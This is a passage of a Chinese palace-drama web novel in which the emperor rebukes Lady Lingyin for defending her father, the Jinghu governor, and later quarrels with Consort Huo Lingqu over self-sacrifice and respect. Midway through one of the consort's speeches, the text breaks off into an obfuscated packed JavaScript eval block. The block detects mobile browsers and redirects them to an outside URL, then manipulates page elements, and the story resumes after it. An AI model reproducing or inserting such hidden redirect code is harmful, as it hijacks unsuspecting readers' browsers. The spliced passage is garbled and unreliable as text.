他是你宠妃的父亲啊,他应该毫无疑虑是你在荆湖的眼睛,结果这种事他竟然都能被昌隆侯拢住不上报,他脑子里装的什么,就等着做国丈吗?” 嬴忱璧看诉状时对荆湖巡抚也是一肚子火,晏霁之骂出来,他心情平和多了。 “荆湖有大量青壮失踪,江南和福建乃至广南应该都少不了吧?” “或许荆湖的情况最严重。”晏霁之就事论事道:“江南巡抚和昌隆侯走得近,昌隆侯很清楚京里对江南和福建必定都盯得紧,若大肆妄动,他瞒不住的。” “难怪荆湖巡抚都被昌隆侯吹捧得飘飘欲仙了啊?”嬴忱璧恭维,皇帝虽在笑着,怒火却是再被挑起来,皇帝气得几乎想一掌拍在石上:“怎么查不打草惊蛇?” 晏霁之再指指他的墨宝,嬴忱璧立时意识到:“从南边迁徙民众入塞北时清查?”皇帝喜笑颜开真高兴了:“霁之啊,你今天进献的墨宝当真是妙哉了。” “陛下谬赞,您或许可再问问蜀王,毕竟蜀王和昌隆侯有大仇。” “好。”嬴忱璧想就让老穆国公去问蜀王吧。 晏霁之欲言又止,嬴忱璧看他打趣:“什么事啊还让你吞吞吐吐的?” “臣有点意外陛下对荆湖巡抚没知会太上皇就处置了。”晏霁之微叹,皇帝道:“太上皇纵使会有些不舒服,也必会谅解。”又被晏霁之提醒:“宫中对此的反应很平淡,若前朝对于陛下将巡抚暂且停职的反应也很平淡,臣唯恐太上皇多心。” 嬴忱璧微怔,晏霁之劝道:“若有必要,让中书稍加修补吧。” 皇帝,嬴忱璧忍不住想捏捏眉心:“朕心急了。” 小太监从数十丈外走近来禀告陛下:贵妃定了按四品份例拨给皇后。 皇帝随口问怡华宫没出乱子吧,小太监低头:“贵妃拿着木棍进怡华宫的。” 嬴忱璧:“……” 晏霁之转头,想捂脸,又忍不住乐。 怡华宫是险些闹出点小乱,原来照顾大公主的宫人们和原来照顾二公主的宫人们主要是两位奶娘闹得凶,终于给郭皇后壮起胆量要雄起时,霍贵妃到了。 “听说表姐你有烦恼?”霍灵渠率禁军、手持木棍而来,握着手臂粗的六尺长木棍好整以暇敲着地砖:“不知表姐想让我给你排忧解难还是你莫自寻烦恼啊?” “我、我我我……”郭皇后想扛一扛,偏偏眼睛不由自主瞥向贵妃的木棍,贵妃敢不敢拿这木棍打她呀?她觉得贵妃敢啊,被身边人一扯袖子,郭皇后安慰自己,贵妃不敢的,就要反压时这木棍就在敲她的头了,郭皇后心惊胆颤鸡皮疙瘩都起来了。 “表姐是否累了要回寝殿小憩呀?”霍灵渠像敲木鱼似的敲着郭皇后的脑袋。 “是是……是!”郭皇后甩脱这两个奶娘,非常识趣地跑了。 霍灵渠转向闹事的宫人,冷笑:“陛下亲令你们出宫居然还敢不识好歹地来惊扰皇后,收缴随身财物,杖刑二十,押入京兆大狱关一个月以示惩戒。” 收缴财物?她们可攒着不少财物,两个奶娘大惊,禁军们在这两人闹事前把人拖到殿外绑起来杖刑,另外十多名宫人庆幸地松口气,谢过贵妃恩典,出宫去。有几个走得慢的还在昭德门外看见这俩人被押往京兆大狱,啐口,感觉真舒坦。 丞相不舒坦,皇帝对塞北江南龙心大悦的消息传出来,相爷就有点晕,皇帝的意思摆明不愿意放在明年办了,就是今年他们要忙死的意思?班丞相在心里咆哮,年轻人精力就这么充沛吗,皇帝是嫌不够忙呢还是嫌他们这群老头忙不死啊? 果然换这个吏部侍郎就是在点火~药桶,要把他们这群老头给烧了! 霍秦川比班丞相还不舒坦,要忙死他了,贵妃侄女给他发笔九十两的横财都不能抚慰,他要去把霍海啸暴揍一顿,不对,不够,他还要把晏墉暴揍一顿。 显国公也不舒坦,他都想把薛述聪暴揍一顿!但在薛述嘉过来提议破坏掉塞北江南时,还是很有家长风范的:“这是利国利民的好事,这点轻重你都不懂?” 这是拍马屁拍到马腿上了?薛述嘉小心觑着父亲:“您不生气啊?” “你爹我若这么狭隘,我不早被霍秦川气死了?” 好像是哦,薛述嘉放松些问八卦:“爹,陛下对令愔夫人和荆湖巡抚是不是很不满了,不然不可能只因有荆湖来的秀女告御状就将荆湖巡抚停职吧?” 显国公未置可否:“看令愔夫人的应对吧。” 薛述嘉撇撇嘴,直觉这娘娘就不像能应对好的样子。 皇宫,阖宫都看着呢。 翁嫔还在坐月子都看得起劲,今儿宫里热闹忒多,但对郭皇后,她都不想有想法了;但她以前觉得杭婕妤有脑子的,没想到居然跟郭皇后不相上下;大公主和二公主没准儿真要给喻美人和倪秀仪了,这么两个烫手山芋,不知道该不该同情她俩。 皇帝在落日前走进拾翠阁,翁嫔还抱着她的小皇子等着看令愔夫人的热闹呢。 嬴忱璧来前刚去看过大公主和二公主,两个女儿都没再哭闹,心情还行,故而也没落下出生十来天的小儿子,看过两个女儿就来看在襁褓中的小皇子了。 令愔夫人无意搅扰皇帝看幼子兴致的到来,前后相差不到一刻钟。 嬴忱璧让宫人请令愔夫人回,宫人退下,折返回来时跪下请罪,他们请不走令愔夫人。翁嫔抱着她的小皇子默默腹诽:果然令愔夫人有热闹看。 父亲暂且停职,来向陛下请个罪嘛,可令愔夫人既犟着要求见陛下又没有告罪送进来,还能是来请罪的吗?不告罪,就是来指摘陛下对不住她和她爹咯? 翁嫔在心里呵呵,难怪她祖父不看好令愔夫人的前景。 冷不防传来皇帝的问话:“朕对荆湖巡抚是否有失公允了些?” “妾不懂朝堂,陛下既这般处置必是应当这般处置吧。”翁嫔中规中矩答,私心里嘛她总觉得事情不简单,陛下好像在敲打令愔夫人,闹着和郭皇后不再会见连理由都不肯禀告,还是贵妃公布是令愔夫人被郭皇后骂了,太骄纵了。 “令愔夫人不该因此就来找朕?”皇帝貌若有些想不好。 “妾也想不好。”翁嫔避过道:“妾只觉得令愔夫人该向贵妃赔个不是,楚姑娘擅自离开伊人殿,贵妃宽厚不予计较,令愔夫人却不该包庇。采选结束,秀女们都已出宫,令愔夫人还将妹妹滞留宫中,委实有些不好,何况这都酉时了。” “嗯……”皇帝沉吟会儿,看向裹在襁褓中的幼儿,抬手轻轻抚抚孩儿的额头,瞧着就像是不经意间想起来的:“下个月,二皇子满五岁了吧?” 翁嫔心头一跳,下个月,二皇子满五岁,可荆湖巡抚下个月能官复原职吗,甚至是还能不能官复原职?若是这楚大人的前程悬了,二皇子五岁生辰,楚家是不是要来人?翁嫔心里想得多,实则只在一瞬,更没耽搁得像什么都没听懂地浅笑着应。 皇帝在拾翠阁坐两刻多钟,行至阁门前被堵住路,看着人,嬴忱璧冒出个念头。 晏霁之曾言:令愔夫人的期待或许是皇帝会主动把凤冠给她。 136. 第136章 斜阳拢过满城彩,金阙如磐流云蹿。 令愔夫人一袭烟霞色宫裙,神色清冷,双眸低垂,然她站得很直,很直。 像青竹,任狂风凌虐仍然高洁不屈的青竹。 嬴忱璧近乎是一瞬间感受出她的怨、她的悲、她的凉、她的自嘲、她的难受。 这是在悲凉失望难受什么? 难受于皇帝委屈她楚家了,还是她自觉这一猜就知是霍家的阴谋而皇帝竟如此眼拙,抑或是皇帝即使看出这是霍家的阴谋却仍然委屈她而更添悲凉? 嬴忱璧近乎是在同一瞬间暴起怒火。 你令愔夫人看到的是霍太后在压制着皇帝啊,你令愔夫人看到的是郭皇后将自请辞位,你还看不到皇帝的艰难吗?你看得懂,但你只顾你自己和你楚家,是吗?! 嬴忱璧闭目息息怒火,摆摆手,蒋厚运大总管指个内侍去请令愔夫人退后些。 小太监忙往前,迈过门槛,请令愔夫人退让些,陛下要出门了。 令愔夫人低眸倒行数步给皇帝让出位置,大总管眼皮一跳,自陛下现身,令愔夫人就直挺挺站着还没施礼请安呢。 在不远处关注着的乐邑长公主也注意到了,跟身边人小声耳语:“她这不可能是忘了吧?” 没忘记礼数,就是故意摆给皇帝看? 乐邑感觉略有丝受刺激,霍灵渠蹙蹙眉,没说话。 皇帝迈出拾翠阁,隔着数丈远,乐邑长公主和霍贵妃率众行礼,乐邑是被皇帝老兄传进宫来的,傍晚了还让她进宫趟,乐邑就拽着童年小伙伴陪她过来。 他们周全礼数就站好,毕竟皇帝背对着他们,和令愔夫人面对面。 静默席卷拾翠阁宫墙外的宫道,不只大总管眼皮跳,宫人们心思都有点活泛了,陛下和令愔夫人面对面半响,陛下不语,令愔夫人也还什么反应都没有呢。 霍灵渠注视片刻略一垂眸,转身走了。 乐邑长公主没阻拦童年小伙伴,霍灵渠没兴趣再看,走就走吧。 僵持会儿,皇帝,嬴忱璧似若气馁:“朝堂事,你不懂,不要过问。” 陪同而来的楚姑娘和劝不动娘娘先低头的大宫女们都狠狠松口气,楚姑娘不想陪着来,想在钟萃宫等消息,胡姑姑硬揽过留在钟萃宫照顾两位皇子,非逼着让她陪嫡姐,她拗不过只好陪着来,偏偏这嫡姐又要死死拿着姿态,还好、还好。 好?乐邑长公主看来可是真不好。 喻美人和霍才人霍鹣娇同来到长公主身侧行个礼,乐邑诧异她俩居然能凑作堆? 是霍鹣娇想来看令愔夫人倒霉,但不想独自来,就把死对头喻美人给拽上了。 令愔夫人道:“臣妾不是过问朝堂事,臣妾是不能看着父亲饱受冤屈还视若无睹。” 皇帝咂摸:“冤…屈?” “那位包姑娘告御状是状告武陵府的柴府尹,与我父何干?”令愔夫人好笑:“纵使我父亲有失察之责,可失察之过而已,何至于严重到要将我父亲暂且停职,我爹与英王世子素不相识更没有仇怨过节,英王世子怎就要这般针对我爹?” 大总管蒋厚运再眼皮一跳,令愔夫人是认为荆湖巡抚是否停职还能由英王世子做主吗?蒋厚运没敢看陛下的脸色,连抹把脸都不敢,令愔夫人的路算是到头了。 “所以?”皇帝顺着问。 “这是霍家的阴谋,从这包姑娘告御状起就是个阴谋。”令愔夫人铿锵有力道。 乐邑和身旁这两位对视眼,喻美人笑吟吟,霍鹣娇不屑冷嗤。 皇帝沉默不语,楚姑娘再接再厉道:“陛下您想想,武陵府在荆湖辖下,包蜜果若有冤情作甚不去巡抚衙门告状偏要在选秀时冒出来,何况她不是武陵府的人,不是她自家的事,她在管闲事,她冒死到御前告御状只为多管闲事不是太奇怪了吗?” 就你们看得懂,陛下看不懂是吧?好多宫人都品出味儿来了。 正徽帝嬴忱璧抬眸,看向令愔夫人,问:“霍家为何要行此阴谋?” 令愔夫人语塞,虽然大家都心知肚明,但这话她却是不能说的。 楚姑娘帮衬道:“陛下明鉴,霍贵妃连皇后娘娘都敢欺压,何况是我姐姐。” 乐邑默默腹诽霍灵渠埋汰人起来是有点水平的,还真拿自家当颗蒜了。 皇帝笑了:“贵妃今早还在对皇后说,霍家对皇后坦荡荡,夫人没耳闻吗?” 令愔夫人一噎,楚姑娘助道:“陛下,这等巧言令色——” 嬴忱璧倏然怒目相向,楚姑娘猛地一心惊就不敢再说下去了,皇帝再转向令愔夫人,眉宇间有丝沉痛:“夫人,朕很失望,朕能理解你维护父亲的心,可你连客观公正都做不到。 霍家乃当朝第一豪族,当今皇太后姓霍,朕的贵妃姓霍! 郭皇后将辞位,霍贵妃封后指日可待,霍家何等人家,他们会把后宫嫔妃看在眼中吗,这嫔妃得宠且育有两个皇子又如何,霍家若如此浅薄还能煊赫鼎盛吗? 有荆湖来的秀女告御状,你可以想会不会是针对你和你父亲的阴谋,但你更不该忽略,会不会是你爹行差踏错,他们不相信你父亲,抑或是此事太大,地方上不能处理,只能拿到御前来?!可你呢?夫人有傲骨,霍家就没有吗,英王世子就没有吗? 何况朝堂中事还是告到御前的大案,你张口就敢一句‘失察之过而已’,你可还有忌讳,你知道事情多大、失察之过又可能会造成多大危害吗?甚至,你怎知只是失察之过而非更严重只是顾及体面按住不提而已? 你看看你行事何其偏颇啊。 你再听听你妹妹说的,多管闲事不是太奇怪了吗,这叫什么话!你们想人世间不该有浩然正气、不该有热血激昂不该有为公理正义挺身而出、只想各家自扫门前雪、只有冷漠逐利麻木不仁吗,你们想朕的治下是这样的百姓这样的人世间?” 皇帝训斥到最后几乎怒得咆哮,宫人们和乐邑长公主、喻美人、霍才人平静地跪下来,钟萃宫的宫人都没犹豫,楚姑娘心肝颤颤,慌忙扯这嫡姐的衣袖。 令愔夫人抿紧唇跪下,霍鹣娇看她居然还不情不愿,心里乐了。 皇帝拂袖转过身:“回钟萃宫吧,朕希望夫人是真把朕的话听进去了。” “臣妾告退。” 一如来时,令愔夫人走得同样孤高。 乐邑长公主想扶额,这是觉得她皇兄反在偏袒霍家吗?难怪霍灵渠不想看,是她想错,这位压根儿不是什么聪明人只是潜邸诸人中就她还能看才显出她来。 当然,也不乏有人觉得是令愔夫人这些年过得太顺了。 皇帝转过身目送令愔夫人走远,落日余晖将远走的身影拖得老长老长,仿佛且等着挽留又像是孤直于世间的决绝,在矛盾交织中消失于拐角尽头。 “皇兄?”乐邑长公主走近皇帝老兄,这皇兄总不能是叫她来蹭晚膳的吧? “戚太妃感染风寒,皇妹去看看戚太妃吧。”嬴忱璧仍目视前方。 乐邑淡定告退,去太妃宫苑。 感染风寒?她母妃若是感染风寒,她一定会是第一个知道的,她母妃病愈,皇帝都未必会知道呢,所以这就是她生母最近在皇宫里不安生,皇帝老兄敲打来了。 慈寿宫朱太妃屋中,阮太妃正在朱太妃的病榻前汇报:“晋王这些天不在府里,晋王妃都回娘家小住了,晋王好像出城去了。庄太妃对儿子管控多,晋王还是个没长成的小孩呢,小孩家遭遇打击受不住了可不就要躲起来不见人嘛。” “嗯,”朱太妃点头道:“庄太妃还是收拢了些人的,未必没有忠心的,还是得防。霍家和晏家若是没那么快动手,晋王缓过这一阵肯定要对我们还击,尽量拖住晋王,让鞠太妃多加几把劲儿,在他们母子见面前把庄太妃手里的人挖出来。” “嗳,朱姐姐放心。”阮太妃又担忧:“只是,显国公府?” “显国公多老奸巨猾啊还能为个女婿把自家搭进去?”朱太妃不以为意:“庄太妃仇家结太多把晋王的活路堵死了,显国公还能看不懂吗,不用担心薛家。” 曹太妃进门来,笑道:“乐邑来了,这会儿和戚太妃吵得正凶呢。” “为什么事?”朱太妃随口问。 “唉,戚姐姐操心多呗,咱都没心情,鞠太妃病了也没心情,不就把她凸显出来了。”曹太妃指指窗外:“这都快天黑了,是陛下传召,乐邑才进宫。” 朱太妃忍住不要被气到,这就是一点轻重都不知:“她也是走运,授康十年之前生养,若是授康十年之后,这女儿她还能生得出来就出奇了。” “说起来,令愔夫人也是走运,六年多都没遇到个对手。”阮太妃压住心痛装若无其事:“若不然,哪怕她还是能生出两个儿子来也早被冷落了。” “你小看正徽二年入宫的那三位了,特别是喻美人和倪秀仪,不想冒头都在蛰伏呢。”朱太妃估摸着:“不过令愔夫人,这正二品妃位她应该保不住了。” 阮太妃和曹太妃惊讶对视眼:“朱姐姐,不至于吧,她好歹有两个皇子呢。” “就因为她有两个皇子,二皇子娶妻前,这生母若还活着必然要晋位的,可若皇帝不想给她高位呢,一品妃位是那么好拿的吗,就她这德行,皇帝还能愿意给吗?”朱太妃讥诮:“令愔夫人若不作死,将来,顶天了也就从二品。” “哎,这可真是……”阮太妃好笑着摇摇头不说了,曹太妃想,一品妃位千难万难得,不论霍贵妃还是圣人的温献皇后都是入宫就是正一品贵妃高位呢。 回到隔壁宁寿宫,阮太妃和曹太妃又去看望过在病中的鞠太妃才各回住处。 鞠太妃近几天是真糟心,她没碰过鳕鱼啊,怎么这毛病又犯了。 据说,郭皇后面对只有十道菜肴还一半都是素菜的晚膳也很糟心,气得没吃。 还据说,被裁剪到用末品份例的杭婕妤也很糟心,也没用晚膳。 还还据说,令愔夫人也是没用晚膳,她们这从潜邸过来的三位难得同步了。 皇帝没耽误用晚膳,膳毕,皇帝还去了长春宫。 霍贵妃在屋里给她的六哥哥做衣物,得知皇帝要过来,她利落藏起衣袍拿书看。 “人不知而不愠?” 嬴忱璧步入阁中,看见贵妃的书,皇帝笑笑:“贵妃近来很喜欢《论语》啊?”他不想多疑可他前两回过来霍贵妃都是在看这篇,就这么难懂吗? 霍灵渠不语,宫娥们来奉过热茶点后退下,皇帝看向贵妃,似是在征求意见:“朕想赏赐今天告御状的小姑娘,她的见义勇为当为典范,贵妃看赏她什么好?” “招摇未必是好事。”霍灵渠思虑道:“倘若包姑娘的御状告成功了,陛下满意,大臣们能都满意吗?地方官可能更会忌惮,今后百姓们想告御状会难许多。” 皇帝眼底一丝锐利闪过:“贵妃思虑周祥。” “我不大想谈令愔夫人,你若想谈,我情愿先说说郭皇后和杭婕妤,再说她。”霍灵渠主动提及,嬴忱璧下意识想掩饰,可面对霍贵妃犹如洞穿他内心的毋庸置疑,皇帝默认了,霍灵渠奇怪:“陛下才在皇极宫前训诫过杭婕妤,怎么杭氏还能变本加厉?” 嬴忱璧漠然答:“因为杭婕妤比庄太妃还自大。” 霍灵渠没懂,皇帝详细阐述道:“杭氏绝育始末被曝出来时,朕曾在婵娟馆大发雷霆,可贵妃看对她有影响吗?自怒叱她以来,朕没有再去婵娟馆看过她,可她今天在皇极宫前又是什么德行,众目睽睽,她就拿朕当傻子。 朕在婵娟馆大发雷霆时她或许怕过,但也就一瞬,转眼她就抛诸脑后了,朕给低位嫔御晋位时又没落下她,她当然早没把朕看眼里了。杭婕妤骨子里就是个不可一世的,今日,她被裁剪到用末品更衣的份例她都不会想她的手段是有多拙劣。 她兄长被罢官她不能忍,何以不能忍?因为她想当然想霍家凭什么罢她兄长的官,盲目到这种份上,何止佟家做梦梦得疯魔了,杭婕妤比佟家丝毫不差。” “陛下看来,杭婕妤在当下的处境也仍然自觉她将来能登上高位?”霍灵渠若有所悟:“或者说,她对于她将来能登高位就生不出怀疑来?” “是。”嬴忱璧端起茶盏注视两息时间,缓缓喝茶。 霍灵渠笑笑略过,抿口花茶,和悦道:“你很疼爱孩儿吧,两位小公主抱着你哭闹时,我就想到我大哥和晏霁之,晏霁之能当场惩戒孩儿,我大哥虽不会因此惩戒孩子但必会生气迁怒,但我看你,你没有任何想对女儿不好的想法吧?” 贵妃是在奉承他吧?皇帝自觉他不屑霍贵妃这奉承,但还是有感觉暖意和窝心,沉郁的心思不自觉有丝活泛,只是嬴忱璧他有点想不好甚至不知道该怎么接话,想轻咳又压住了,想跳话题时,霍灵渠主动岔开了:“陛下今日看郭皇后有感触的吧?” 嬴忱璧看向贵妃,霍灵渠摇摇头,好像有一种荒唐感,又好像淡得没有:“亲娘被褫夺诰命被押入刑部大牢关两天,若非杭婕妤给她出主意,她应该不敢闹。 亲女被暂且送走,若非那两个奶娘撺掇她,她应该也不会想要闹一闹;甚至于,她若是能闹得陛下同意留下这两个奶娘,但二公主必须六月再还给她,我相信不用三言两语她就能安生消停,就像,她今天还能因晚膳被削减而生气。” “是啊。”皇帝认同:“亲娘被褫夺诰命关入刑部大牢、亲女被暂且送走都挡不住郭皇后因顿晚膳发脾气,贵妃看得很准。”嬴忱璧又很快释怀:“今天在伊人殿,秀女告御状,朕看着告御状的小姑娘都有感触,对自己和对郭皇后的感触。” “世间多少好儿女……”可他居然能只因正妻二字就对那样个女人付出过十多年热忱,嬴忱璧想笑:“贵妃没有骂错朕,朕不自爱,三年更应该是个底线。” 霍灵渠想皇帝娶妻时不知满怀多少憧憬期待呢:“郭氏没少当面呛你吧?” “是,前提是她没有被吓到。”嬴忱璧当做没有听懂霍贵妃的指向,只就事论事谈:“她不怕朕、甚至不怕太后,因为朕和太后都没有恐吓过要打她,贵妃今天吓到她了,掐着她的脖子拿刀恐吓她足以威慑她,想吓她就这么简单。 但,纵使她不怕朕,她都没胆量来找朕闹,唯有朕去找她,她才发得出脾气来。贵妃今天吓到她,虽然有人怂恿,她又敢想闹一闹,但贵妃再敲打下便又能把她吓回去。” 让朝堂宫闱都看清楚了,皇帝以前是多费心才没让他们看穿,嬴忱璧直想笑。 霍灵渠宽慰:“陛下还不到三十岁呢,人生还没有过半,不必太在意。” 嬴忱璧莫名感到阵舒心,领悟贵妃的用意了,谈过郭氏和杭婕妤再谈令愔夫人的用意。虽然他对令愔夫人的感观比对郭氏和杭婕妤的感观要好,但令愔夫人又有何不同?都一样,就是个妃子,他何必只因看错个嫔妃就犯心思郁结。 “朕想谢谢贵妃。”嬴忱璧真心说,又着重指出:“不是我觉得我们生疏我才想说谢谢,就是单纯的想感谢,将来我们有儿女很恩爱时,这样的情况,朕还是会想说谢谢。” “我确实不大想谈令愔夫人。”霍灵渠自动忽略掉皇帝将来之后的话。 嬴忱璧很能理解,就好比皇帝他还因此犯了点心思郁结。 “朕——”嬴忱璧叹息:“唉,两个皇儿还小,我想等皇儿们懂事些再冷落令愔夫人,可我突然想不好该等到皇儿们几岁时,贵妃觉得过几年妥当?” 霍灵渠讶然,注视皇帝片刻,斟酌道:“你有没有想过根源?” “什么根源?”嬴忱璧一时没懂,霍灵渠轻咳下,捧茶盏喝口花茶,皇帝笑了:“没把皇帝看在眼里的根源?”令愔夫人当然也没把皇帝看在眼里,只是很隐晦才曝露出来而已。嬴忱璧平静得几乎没有情绪:“自是在她们眼中的皇帝很窝囊。” “我反而觉得这根源或可追溯至潜邸时。”霍灵渠揣摩道:“不论杭婕妤还是令愔夫人,我以为她们想象的天潢贵胄应该都是高高在上八面威风,但自她们入潜邸起,你和她们想的天潢贵胄就有出入了,而你对待她们又都很好。 虽然你面冷,但你面冷心热,你们在一起生活多年,她们还能感受不出来你只是面上冷实则你对人很好吗?看令愔夫人傍晚时的高姿态就很明了了。” “她有恃无恐。”比起猜测,霍灵渠更像是在陈述:“不是她仗着有两个皇子有恃无恐,而是你对她的好给她的有恃无恐,她笃定你不会冷落她。” 嬴忱璧定定注视霍贵妃,霍灵渠补充:“虽然令愔夫人应该没有这想法,但这种无形的感觉应该早已植根在她的骨血里了,不必她有想法就能推动她行事。” “笃定?”好半响,嬴忱璧才仿佛感到甚是可笑地笑起来,笃定?多荒唐,他顾念皇儿在令愔夫人眼中却是吃定他窝囊任是妃子如何看不上这皇帝都无妨的笃定?! 假若他没有犹豫、没有想不好该再顾及几年,是不是他才是笑话,沦为众人眼中的笑柄还浑然不知的笑话?!令愔夫人践踏君上,皇帝都不冷落,还能宠着这种妃子,岂不就是在告诉别人可以往皇帝头上踩吗?!他竟然没察觉他险些酿成大错。 难怪贵妃在获知他还想对令愔夫人顾及几年时这么惊讶! 嬴忱璧终还是把盘桓许久的话问了出来:“贵妃看来朕也很窝囊吧?” “你很伟大。”霍灵渠感慨,嬴忱璧表示:“朕谢谢贵妃,讽刺都没讽刺味儿。” “我没有讽刺你,我真这么想。”霍灵渠语气很静,似一汪清泉在安静给予滋养的静:“不是只有轰轰烈烈的建功立业才是伟大,平凡人平凡事都可以成就伟大。 默默无名生活艰辛但仍然数十年如一日的扶危济困,势单力薄敢为公理正义舍生忘死,还有在前线、牺牲自己来守护家园的将士们,谁不伟大?” 霍灵渠实在言:“陛下统御江山更该看见苍生渺小而不是只能看到庙堂金阙。” 嬴忱璧叹气,贵妃可能真的没有讽刺他吧。 “贵妃的教诲,朕记住了,但朕真的不大明白,你刚才对我的评价?” “陛下看宜春县主还有萧家。”霍灵渠例举道:“宜春县主若是被顺利骗进朱家,朱家将萧家榨干后赶尽杀绝,萧灼灼和萧家对朱家将会是什么态度?” “深仇大恨吧。”嬴忱璧忍不住再叹口气,霍贵妃的意思很明白了,但皇帝还是想问:“只因朕对令愔夫人没有生恨乃至想过为两个孩儿再顾及她几年?” “陛下觉得这是很容易的事吗?”皇帝是自苦太久都不把自苦当苦了吗?霍灵渠惊奇,皇帝嬴忱璧微怔,看向贵妃,霍灵渠反看向他,嬴忱璧:“……” “如此说来,贵妃当年寻回家门前而不入也很伟大?”嬴忱璧想还是不纠结了,和贵妃来个共鸣吧。霍灵渠扫兴纠正:“不一样,你在委屈自己,我不委屈自己。 十二年前我走到家门前而不入是我自愿的,我没有不情愿,但你很明显不愿意再宠令愔夫人了还能想为两个孩儿再顾及她几年,摆明你在委屈自己。 我爹他们、还有霁之,我们都不会委屈自己,我教桑柔也是,不要为任何人委屈自己,没想到你做皇帝居然都能这么委屈自己。” 霍贵妃的眼神就像看见朵奇葩。 嬴忱璧:“……” 所以你感叹我伟大?感觉受到暴击的皇帝冷静下忙不迭反攻:“为人父母为孩儿忍受点委屈不是很应当吗,难道贵妃将来做母亲不愿意为孩儿受点委屈?” 霍灵渠轻飘飘的:“陪你从潜邸过来的三位好像都不能哦,杭婕妤今天利用起女儿来多不手软啊,令愔夫人和你硬刚时有替她的孩儿们考虑过吗?郭氏更不用说了。不知道的,还以为你既当爹又当娘,这些皇嗣是你十月怀胎生下来的。” 被扎心的皇帝铁青着脸训诫:“朕问的是贵妃,不要给朕顾左右而言他。” 霍灵渠就给个答案:“我不会委屈自己,不会为任何人委屈自己。” “作甚要委屈自己呢?”霍灵渠抿口茶,没有争锋相对,却是比争辩更辛辣:“若是做父母就要委屈自己,那么做儿女要委屈自己吗?做人媳妇要委屈自己吗? 人,一旦有退让,就能不断退让;一个人若是能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459328|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 委屈自己一回,就能委屈自己无数回。臣妾请问陛下,一个能不断委屈自己的人还有自己吗?” 自己?嬴忱璧感觉朦朦胧胧的:“自己?” “嗯,人若没有自己还与提线木偶何异?”霍灵渠逻辑清晰:“人必须存在才有相应的身份随之而来,人若是都不存在,还如何做儿女做父母做妻子做丈夫?那么自然,不论是做儿女还是做父母都应该从属于自己而不是凌驾在自己之上。 做父母只是自己众多身份当中的一个,怎能只因做父母就委屈自己,难道人成为父母,人就不是自己了吗?还是自己呀,那作甚要把自己沦为做父母这件事的从属呢?” 嬴忱璧笑了:“那么五年前,流光何以会入风尘?” “我和魏王达成协议,我帮他做事,他帮我看顾小祐的家人。”霍灵渠话落,嬴忱璧犹若胜券在握:“那么流光又作甚要委屈自己与魏王做此交易?” “委屈?”霍灵渠奇怪看皇帝,否定道:“没有委屈啊,陛下何出此言?” 嬴忱璧当然道:“入风尘,烟花之地,还不委屈吗?” 霍灵渠失笑:“这是我自愿的,自己愿意怎么能叫委屈呢。” 自愿?嬴忱璧呵呵,就戳破贵妃的假装:“会有姑娘自愿入风尘吗?” 会有姑娘自愿入风尘吗?皇帝言下之意,流光是被迫的、是受着委屈的,皇帝更深层的影射呢?相处还行的融洽轰然散尽,霍灵渠迅速齿冷,真觉得讽刺。 “陛下对外人果然刻薄。”霍灵渠站起来,是疾风骤雨前的乌云沉聚:“我才知道呢,我霍灵渠没有跟人平等谈判的资格,我与魏王谈交易是去摇尾乞怜的。” 嬴忱璧立时头疼:“贵妃——” “你懂不懂得尊重人,晏霁之不久前才问过你吧?”霍灵渠真怒了:“你是不懂,还是你就想把人往低贱看?你不可能不懂吧,你对你的家眷爱护得多好,不可一世,杭婕妤不可一世?你看看她若是遇上我大哥或者晏霁之,她还能不能狂起来? 一个普通的小妾在你手里都如此轻狂,当然是你骄纵出来的,你不懂吗?你怎会不懂,你对你的家眷们有多好,你还能没点数吗?可惜啊,你对他们越好,他们越看不上你,甚至看你就是犯贱可劲儿踩你,你受尽你宝贝疙瘩们的低贱,你心理不平衡。” 霍灵渠不惮往皇帝心伤上撒盐:“为你心理平衡,你不得不把外人往低贱看。” 嬴忱璧沉沉盯着霍贵妃,眼神不锋利,很钝重。 霍灵渠直视皇帝,冷傲相对:“会有姑娘自愿入风尘吗?若非你觉得霍灵渠受到逼迫,你能脱口而出这句话吗?那么你的想法还能不是我不配与魏王谈判吗? 若非你嬴忱璧觉得,魏王提出任何我不愿意的条件,我都只有接受的份儿,霍灵渠只能向魏王摇尾乞怜、受到委屈只有接着的份儿、我连拒绝的资格都没有,你岂能说出这话来?我都不知道原来我这么下贱,谢谢皇帝陛下你今夜特意告诉我。” “贵妃——”嬴忱璧无奈想哄贵妃,不想皇帝他听到了—— “滚!!” 嬴忱璧慢半拍看向霍贵妃,霍灵渠貌若惊奇:“陛下受不住吗,不至于吧,令愔夫人对皇帝你又是践踏羞辱又是给足你难堪,你不都还想着不能冷落她吗? 霍家强抢后位虽是给陛下你背黑锅,但令愔夫人不知道啊,她看到的是太后压着皇帝,她当众直言有秀女告御状是霍家针对她爹的阴谋可还有顾及你吗? 若她有顾及你,能这么刻不容缓一刻都等不得地逼着你吗,她又是有多看不上你才能堂而皇之讽刺你、在她看来一目了然的阴谋而你居然都看不懂?更不要说,她直言是英王世子令她爹暂且停职,视皇帝如无物,这对皇帝得是多大的践踏羞辱? 尤其是,她偏要在大庭广众下闹出来,让所有人看见她只顾自己,根本不在意皇帝。她可是最得宠的妃子,她亲自宣告,对你百般看不上的女人,你都能宠六年多,当然是真的,所以她是有多嫌恶你啊才要这么踩你让你彻底变成个笑话?” 皇帝神情很冷,看霍贵妃的眼神倒不冷,就这么淡淡看着霍贵妃。 霍灵渠怎么泄愤怎么来。 “不过陛下尽可放心,霍家不瞎,但凡您对太后有一丁点顾念,之前霍家死期不远矣的流言就传不起来,我们看得懂,霍太后在您面前比杭婕妤都差之远矣。 霍灵渠更不会傻到把您的戏言当真,真的在意藏不住,假的在意装再真都能轻易窥测,令愔夫人自觉受点委屈之后对您的高姿态才是皇帝陛下在意着的模样呢,哪儿像您既觉得入风尘对霍灵渠是委屈还都若无其事地拿出来戳霍灵渠的痛处。” 嬴忱璧一怔,再看向霍贵妃,霍灵渠问:“你要留下来赐条白绫给我吗?” 皇帝迟疑下往外走。 殿前繁星独照,辛酸落,能比夜空最亮的星。 